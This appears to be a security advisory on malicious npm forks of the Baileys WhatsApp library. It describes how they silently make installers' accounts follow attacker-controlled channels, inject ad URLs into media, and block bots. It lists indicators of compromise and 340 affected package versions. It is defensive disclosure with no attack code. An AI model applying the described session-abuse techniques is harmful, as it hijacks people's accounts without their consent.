Baileys npm forks farm WhatsApp Channel followers
On this page
Summary
Forks of Baileys, the popular WhatsApp Web library, silently make the installer’s WhatsApp account follow channels the package author controls. Some forks also inject the author’s advertising URL into the bot’s outgoing media. One fork sends a message from the installer’s account and then blocks the bot. This is non-consensual social abuse shipped through npm. It is not credential theft.
Continuous monitoring of the npm registry records 4,250 package names that contain baileys and
another 112 that contain libsignal-node. The set includes the upstream library, legitimate forks,
mirrors, and many packages no one has examined. This post lists only the packages confirmed as
malicious in this campaign: 70 package names built on Baileys across 343 versions, and 15
libsignal-node impersonators across 38 versions. Everything outside that confirmed set is
unverified, not cleared as safe. The confirmed count is a lower bound, and the campaign keeps
growing.
Impact:
- A silent, non-consensual follow of attacker-owned WhatsApp channels, using the installer’s account
- A remotely controlled follow list, with each channel muted to hide the subscription (
lupy4u) - The author’s advertising URL injected into every image and video the bot sends (
mamz-baileys) - Forged channel attribution added to the installer’s outgoing messages (
@cikikomo/baileys) - A message sent from the installer’s account, then an error that blocks the bot (
@prototypevip/baileys)
Indicators of Compromise (IoC):
- npm publishers:
prototype1006,cikikomo,neykoor,mamzhandsome,lupy4u,diezyyasha - Maintainer emails:
[email protected],[email protected],[email protected],[email protected],[email protected],[email protected] - Advertising URL injected into media:
hxxps://fiora[.]nixel[.]my[.]id/(mamz-baileys) - Remote follow-list source:
hxxps://raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json(lupy4u) - Newsletter channel identifiers:
120363401404146384@newsletter(@neykoor),120363426628484388@newsletter(@cikikomo),120363406881628130@newsletter(mamz-baileys, shared withdiezyyasha-baileys) lupy4ucontrol repo: GitHubLevviCodeID/Levi4than(lupy4upulls its follow list fromlevvleys.jsonthere); operator sitelevvicode[.]cloud
Part 1: The campaign and impacted packages
Why Baileys is a target
Baileys is a WhatsApp Web multi-device library for Node.js. Developers use it to build WhatsApp bots.
These forks target the authenticated session. A paired session can send messages, follow channels, and read chats as the account holder. An attacker who controls the session controls the account.
Recent packages
These packages are the examples analysed here. All but one were read from source. npm removed
@diezyyasha/libsignal-node before analysis, so that row is reported only.
| Package | Version | Behaviour | Delivery | Verified |
|---|---|---|---|---|
@prototypevip/baileys | 0.0.4 | Account block (self-DoS) | Fork | From source |
@cikikomo/baileys | 1.0.10 | Forged attribution | Fork | From source |
@neykoor/baileys | 7.0.16-rc15 | Forced follow | Fork | From source |
mamz-baileys | 8.6.62 | Forced follow and injected ad URL | Fork | From source |
lupy4u | 4.5.6 | Remote-controlled follow and mute | Fork | From source |
@diezyyasha/libsignal-node | 2.2.8 | Forced follow | Import-time patcher | Reported, removed |
Impacted packages
A package appears here only after a confirmed malicious verdict. The first list covers packages
built on Baileys. The second covers libsignal-node impersonators, including the import-time
patcher.
| Row | ecosystem | name | version |
|---|---|---|---|
| 1 | ECOSYSTEM_NPM | @kofoffc/baileys | 0.0.4 |
| 2 | ECOSYSTEM_NPM | @kofoffc/baileys | 0.0.3 |
| 3 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.16-rc15 |
| 4 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.15-rc15 |
| 5 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.14-rc15 |
| 6 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.1 |
| 7 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.4 |
| 8 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.11 |
| 9 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.10 |
| 10 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.9 |
| 11 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.8 |
| 12 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.7 |
| 13 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.6 |
| 14 | ECOSYSTEM_NPM | ynastore-baileys | 1.0.21 |
| 15 | ECOSYSTEM_NPM | santana-baileys | 2.0.4 |
| 16 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.2 |
| 17 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.1 |
| 18 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.57 |
| 19 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.65 |
| 20 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.74 |
| 21 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.61 |
| 22 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.72 |
| 23 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.66 |
| 24 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.64 |
| 25 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.71 |
| 26 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.70 |
| 27 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.63 |
| 28 | ECOSYSTEM_NPM | diezyclutch-baileys | 8.6.78 |
| 29 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.3 |
| 30 | ECOSYSTEM_NPM | @mrlegendbot/baileys | 1.0.0 |
| 31 | ECOSYSTEM_NPM | @mrlegendbot/baileys | 1.1.0 |
| 32 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.4 |
| 33 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.5 |
| 34 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.13-rc15 |
| 35 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.2 |
| 36 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.5 |
| 37 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.2.0 |
| 38 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.3 |
| 39 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.0.0 |
| 40 | ECOSYSTEM_NPM | @xsat10/baileys-xsat | 2.0.0 |
| 41 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.77 |
| 42 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.75 |
| 43 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.59 |
| 44 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.58 |
| 45 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.60 |
| 46 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.1 |
| 47 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.7.7 |
| 48 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.3 |
| 49 | ECOSYSTEM_NPM | @bowozzz/baileys | 1.0.0 |
| 50 | ECOSYSTEM_NPM | @bowozzz/baileys | 9.9.9 |
| 51 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.2 |
| 52 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.0 |
| 53 | ECOSYSTEM_NPM | @bowozzz/baileys | 6.6.6 |
| 54 | ECOSYSTEM_NPM | @bowozzz/baileys | 8.8.8 |
| 55 | ECOSYSTEM_NPM | @bowozzz/baileys | 6.6.7 |
| 56 | ECOSYSTEM_NPM | amanexzyra-baileys | 3.0.0 |
| 57 | ECOSYSTEM_NPM | amanexzyra-baileys | 4.0.0 |
| 58 | ECOSYSTEM_NPM | amanexzyra-baileys | 4.0.2 |
| 59 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.0 |
| 60 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.60 |
| 61 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.61 |
| 62 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.62 |
| 63 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.59 |
| 64 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.7 |
| 65 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.6 |
| 66 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.5 |
| 67 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.4 |
| 68 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.3 |
| 69 | ECOSYSTEM_NPM | @web2apk/baileys | 5.5.5 |
| 70 | ECOSYSTEM_NPM | @web2apk/baileys | 4.5.5 |
| 71 | ECOSYSTEM_NPM | @web2apk/baileys | 3.5.5 |
| 72 | ECOSYSTEM_NPM | @web2apk/baileys | 3.5.0 |
| 73 | ECOSYSTEM_NPM | @web2apk/baileys | 2.5.0 |
| 74 | ECOSYSTEM_NPM | @web2apk/baileys | 3.0.0 |
| 75 | ECOSYSTEM_NPM | @web2apk/baileys | 2.0.0 |
| 76 | ECOSYSTEM_NPM | @web2apk/baileys | 1.0.0 |
| 77 | ECOSYSTEM_NPM | @web2apk/baileys | 7.0.5 |
| 78 | ECOSYSTEM_NPM | @rexxhayanasi/elaina-baileys | 1.3.4-rc.17 |
| 79 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.5 |
| 80 | ECOSYSTEM_NPM | @zannstore/baileys | 2.2.6 |
| 81 | ECOSYSTEM_NPM | @zannstore/baileys | 2.2.7 |
| 82 | ECOSYSTEM_NPM | @zannstore/baileys | 2.2.8 |
| 83 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.4 |
| 84 | ECOSYSTEM_NPM | @badzz88/baileys | 8.4.9 |
| 85 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.5 |
| 86 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.6 |
| 87 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.7 |
| 88 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.9 |
| 89 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.0 |
| 90 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.1 |
| 91 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.2 |
| 92 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.3 |
| 93 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.3 |
| 94 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.2 |
| 95 | ECOSYSTEM_NPM | sanka-baileyss | 2.6.3 |
| 96 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.4 |
| 97 | ECOSYSTEM_NPM | sanka-baileyss | 2.6.2 |
| 98 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.3 |
| 99 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.2 |
| 100 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.0 |
| 101 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.1 |
| 102 | ECOSYSTEM_NPM | @systemzero/baileys | 1.1.1 |
| 103 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.0 |
| 104 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.58 |
| 105 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.6.2 |
| 106 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.6.1 |
| 107 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.0 |
| 108 | ECOSYSTEM_NPM | @sukatank01/baileys-whatsapp | 5.5.5 |
| 109 | ECOSYSTEM_NPM | @rexxhayanasi/elaina-baileys | 1.3.4-rc.14 |
| 110 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.6.0 |
| 111 | ECOSYSTEM_NPM | @rexxhayanasi/elaina-baileys | 1.3.4-rc.15 |
| 112 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.5.9 |
| 113 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.5.8 |
| 114 | ECOSYSTEM_NPM | santana-baileys | 2.0.3 |
| 115 | ECOSYSTEM_NPM | santana-baileys | 2.0.2 |
| 116 | ECOSYSTEM_NPM | santana-baileys | 2.0.1 |
| 117 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.4 |
| 118 | ECOSYSTEM_NPM | @sgintokic/baileys | 0.1.4 |
| 119 | ECOSYSTEM_NPM | @sairidev/baileys-new | 0.3.19 |
| 120 | ECOSYSTEM_NPM | @systemzero/baileys | 1.0.8 |
| 121 | ECOSYSTEM_NPM | asepxyz-baileys | 1.0.1 |
| 122 | ECOSYSTEM_NPM | ynastore-baileys | 1.0.20 |
| 123 | ECOSYSTEM_NPM | santana-baileys | 2.0.0 |
| 124 | ECOSYSTEM_NPM | asepxyz-baileys | 1.0.0 |
| 125 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.5.0 |
| 126 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.2.0 |
| 127 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.6.0 |
| 128 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.1.0 |
| 129 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.7.0 |
| 130 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.0.0 |
| 131 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.4.0 |
| 132 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.3.0 |
| 133 | ECOSYSTEM_NPM | sauruslord-baileys | 3.0.2 |
| 134 | ECOSYSTEM_NPM | sauruslord-baileys | 3.0.1 |
| 135 | ECOSYSTEM_NPM | sauruslord-baileys | 3.0.0 |
| 136 | ECOSYSTEM_NPM | @fvckerss/baileys | 1.0.12 |
| 137 | ECOSYSTEM_NPM | @fvckerss/baileys | 1.0.11 |
| 138 | ECOSYSTEM_NPM | @fvckerss/baileys | 1.0.10 |
| 139 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.3 |
| 140 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.1 |
| 141 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.2 |
| 142 | ECOSYSTEM_NPM | baileys-clean | 7.3.2 |
| 143 | ECOSYSTEM_NPM | alice-baileys | 2.0.8 |
| 144 | ECOSYSTEM_NPM | @sanzstore/baileys-pro | 1.0.0 |
| 145 | ECOSYSTEM_NPM | @fhkry/baileys | 8.0.13 |
| 146 | ECOSYSTEM_NPM | @hanssoft/baileys | 2.0.4 |
| 147 | ECOSYSTEM_NPM | @than1st/baileys | 2.0.5 |
| 148 | ECOSYSTEM_NPM | @than1st/baileys | 2.0.6 |
| 149 | ECOSYSTEM_NPM | baileys-dgxeon | 1.0.0 |
| 150 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.7.8 |
| 151 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.7.9 |
| 152 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.8.0 |
| 153 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.8.1 |
| 154 | ECOSYSTEM_NPM | @im-dims/baileys | 5.7.3 |
| 155 | ECOSYSTEM_NPM | @otaxayuns/baileys | 7.0.5 |
| 156 | ECOSYSTEM_NPM | @otaxayuns/baileys | 7.0.4 |
| 157 | ECOSYSTEM_NPM | @fhkry/baileys-v2 | 1.0.0 |
| 158 | ECOSYSTEM_NPM | um4r719-baileys | 0.1.15 |
| 159 | ECOSYSTEM_NPM | @sixcore/baileys | 1.1.1 |
| 160 | ECOSYSTEM_NPM | @rexxtheproject/elaina-baileys | 1.0.0 |
| 161 | ECOSYSTEM_NPM | um4r719-baileys | 0.1.11 |
| 162 | ECOSYSTEM_NPM | @zecho/baileys-mod | 2.0.0 |
| 163 | ECOSYSTEM_NPM | @sheniraid/baileys | 4.0.11 |
| 164 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 1.0.6 |
| 165 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 1.0.2 |
| 166 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 1.0.1 |
| 167 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 2.0.4 |
| 168 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 8.0.5 |
| 169 | ECOSYSTEM_NPM | @xvortexsockets/baileys | 1.0.1 |
| 170 | ECOSYSTEM_NPM | @sixcore/baileys | 1.0.1 |
| 171 | ECOSYSTEM_NPM | @fr3newera/baileys | 1.0.4 |
| 172 | ECOSYSTEM_NPM | @fr3newera/baileys | 1.0.1 |
| 173 | ECOSYSTEM_NPM | @fr3newera/baileys | 1.0.0 |
| 174 | ECOSYSTEM_NPM | @sixcore/baileys | 1.0.0 |
| 175 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 8.0.3 |
| 176 | ECOSYSTEM_NPM | yuji-baileys | 4.0.4 |
| 177 | ECOSYSTEM_NPM | yuji-baileys | 4.0.2 |
| 178 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 8.0.0 |
| 179 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 8.0.1 |
| 180 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.8 |
| 181 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.7 |
| 182 | ECOSYSTEM_NPM | @dinzid04/baileys | 0.0.1 |
| 183 | ECOSYSTEM_NPM | @sanzxcode/baileys | 7.0.1 |
| 184 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 6.0.0 |
| 185 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 5.0.0 |
| 186 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 4.0.0 |
| 187 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 1.0.0 |
| 188 | ECOSYSTEM_NPM | @shenira/baileys | 4.0.1 |
| 189 | ECOSYSTEM_NPM | baileys-ud | 1.0.0 |
| 190 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 8.0.0 |
| 191 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.24 |
| 192 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 7.0.0 |
| 193 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.6 |
| 194 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.7 |
| 195 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.2 |
| 196 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.5 |
| 197 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.4 |
| 198 | ECOSYSTEM_NPM | baileys-dtz | 7.0.0 |
| 199 | ECOSYSTEM_NPM | torbaileys | 8.0.1 |
| 200 | ECOSYSTEM_NPM | torbaileys | 8.0.0 |
| 201 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.3 |
| 202 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.1 |
| 203 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.0 |
| 204 | ECOSYSTEM_NPM | @mikudev/ridwan-baileys-mod | 1.0.2 |
| 205 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.2 |
| 206 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.1 |
| 207 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.0 |
| 208 | ECOSYSTEM_NPM | baileys-dtz | 5.0.4 |
| 209 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 3.0.0 |
| 210 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 2.0.5 |
| 211 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 2.0.4 |
| 212 | ECOSYSTEM_NPM | baileys-dtz | 5.0.2 |
| 213 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 7.0.16 |
| 214 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.22 |
| 215 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.22 |
| 216 | ECOSYSTEM_NPM | baileys-dtz | 5.0.0 |
| 217 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.20 |
| 218 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.21 |
| 219 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 7.0.15 |
| 220 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.20 |
| 221 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.19 |
| 222 | ECOSYSTEM_NPM | @skyzopedia/baileys | 7.0.14 |
| 223 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.18 |
| 224 | ECOSYSTEM_NPM | @skyzopedia/baileys | 7.0.13 |
| 225 | ECOSYSTEM_NPM | @skyzopedia/baileys | 7.0.12 |
| 226 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.17 |
| 227 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.17 |
| 228 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.15 |
| 229 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.15 |
| 230 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.14 |
| 231 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.13 |
| 232 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 3.0.1 |
| 233 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.12 |
| 234 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.12 |
| 235 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.11 |
| 236 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.11 |
| 237 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 3.0.0 |
| 238 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 2.0.0 |
| 239 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.10 |
| 240 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.8 |
| 241 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.8 |
| 242 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.7 |
| 243 | ECOSYSTEM_NPM | @skyzopedia/baileys | 6.0.5 |
| 244 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.5 |
| 245 | ECOSYSTEM_NPM | @skyzopedia/baileys | 6.0.2 |
| 246 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.1 |
| 247 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.6 |
| 248 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.5 |
| 249 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.7 |
| 250 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.8 |
| 251 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.7 |
| 252 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.6 |
| 253 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.6 |
| 254 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.5 |
| 255 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.4 |
| 256 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.5 |
| 257 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.4 |
| 258 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.3 |
| 259 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.2 |
| 260 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.2 |
| 261 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.2 |
| 262 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.1 |
| 263 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.1 |
| 264 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.0 |
| 265 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.0 |
| 266 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.5 |
| 267 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 4.0.3 |
| 268 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 4.0.2 |
| 269 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.2 |
| 270 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.1 |
| 271 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.0 |
| 272 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 3.0.9 |
| 273 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 3.0.5 |
| 274 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 3.0.2 |
| 275 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 1.0.0 |
| 276 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.0 |
| 277 | ECOSYSTEM_NPM | @dappaoffc/baileys | 2.0.6 |
| 278 | ECOSYSTEM_NPM | @skyzopedia/baileys | 2.0.5 |
| 279 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.34 |
| 280 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.4 |
| 281 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.3 |
| 282 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.23 |
| 283 | ECOSYSTEM_NPM | @dappaoffc/baileys | 2.0.4 |
| 284 | ECOSYSTEM_NPM | @skyzopedia/baileys | 2.0.4 |
| 285 | ECOSYSTEM_NPM | @dappaoffc/baileys | 2.0.2 |
| 286 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.19 |
| 287 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.5 |
| 288 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.1 |
| 289 | ECOSYSTEM_NPM | @yaoii-bails/yaoii-baileys | 2.0.1 |
| 290 | ECOSYSTEM_NPM | @yaoii-bails/yaoii-baileys | 2.0.10 |
| 291 | ECOSYSTEM_NPM | @yaoii-bails/yaoii-baileys | 2.0.5 |
| 292 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.17 |
| 293 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.18 |
| 294 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.15 |
| 295 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.14 |
| 296 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.13 |
| 297 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.11 |
| 298 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.10 |
| 299 | ECOSYSTEM_NPM | @skyzopedia/baileys | 2.0.3 |
| 300 | ECOSYSTEM_NPM | @shennmine/baileys | 2.1.1 |
| 301 | ECOSYSTEM_NPM | @shennmine/baileys | 2.1.0 |
| 302 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.8 |
| 303 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.7 |
| 304 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.6 |
| 305 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.5 |
| 306 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.4 |
| 307 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.3 |
| 308 | ECOSYSTEM_NPM | freedom-baileys | 2.0.0 |
| 309 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.2 |
| 310 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.1 |
| 311 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.0 |
| 312 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.8 |
| 313 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.7 |
| 314 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.6 |
| 315 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.5 |
| 316 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.3 |
| 317 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.2 |
| 318 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.1 |
| 319 | ECOSYSTEM_NPM | supun-baileys | 2.0.0 |
| 320 | ECOSYSTEM_NPM | baileys-dtz | 2.0.0 |
| 321 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.7 |
| 322 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.5 |
| 323 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.4 |
| 324 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.3 |
| 325 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.2 |
| 326 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.1 |
| 327 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.0 |
| 328 | ECOSYSTEM_NPM | baileys-cleaner | 1.8.0 |
| 329 | ECOSYSTEM_NPM | baileys-cleaner | 1.7.0 |
| 330 | ECOSYSTEM_NPM | baileys-cleaner | 1.5.0 |
| 331 | ECOSYSTEM_NPM | baileys-cleaner | 1.4.0 |
| 332 | ECOSYSTEM_NPM | baileys-cleaner | 1.3.0 |
| 333 | ECOSYSTEM_NPM | baileys-cleaner | 1.2.0 |
| 334 | ECOSYSTEM_NPM | baileys-cleaner | 1.1.0 |
| 335 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.9 |
| 336 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.8 |
| 337 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.7 |
| 338 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.5 |
| 339 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.6 |
| 340 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.4 |
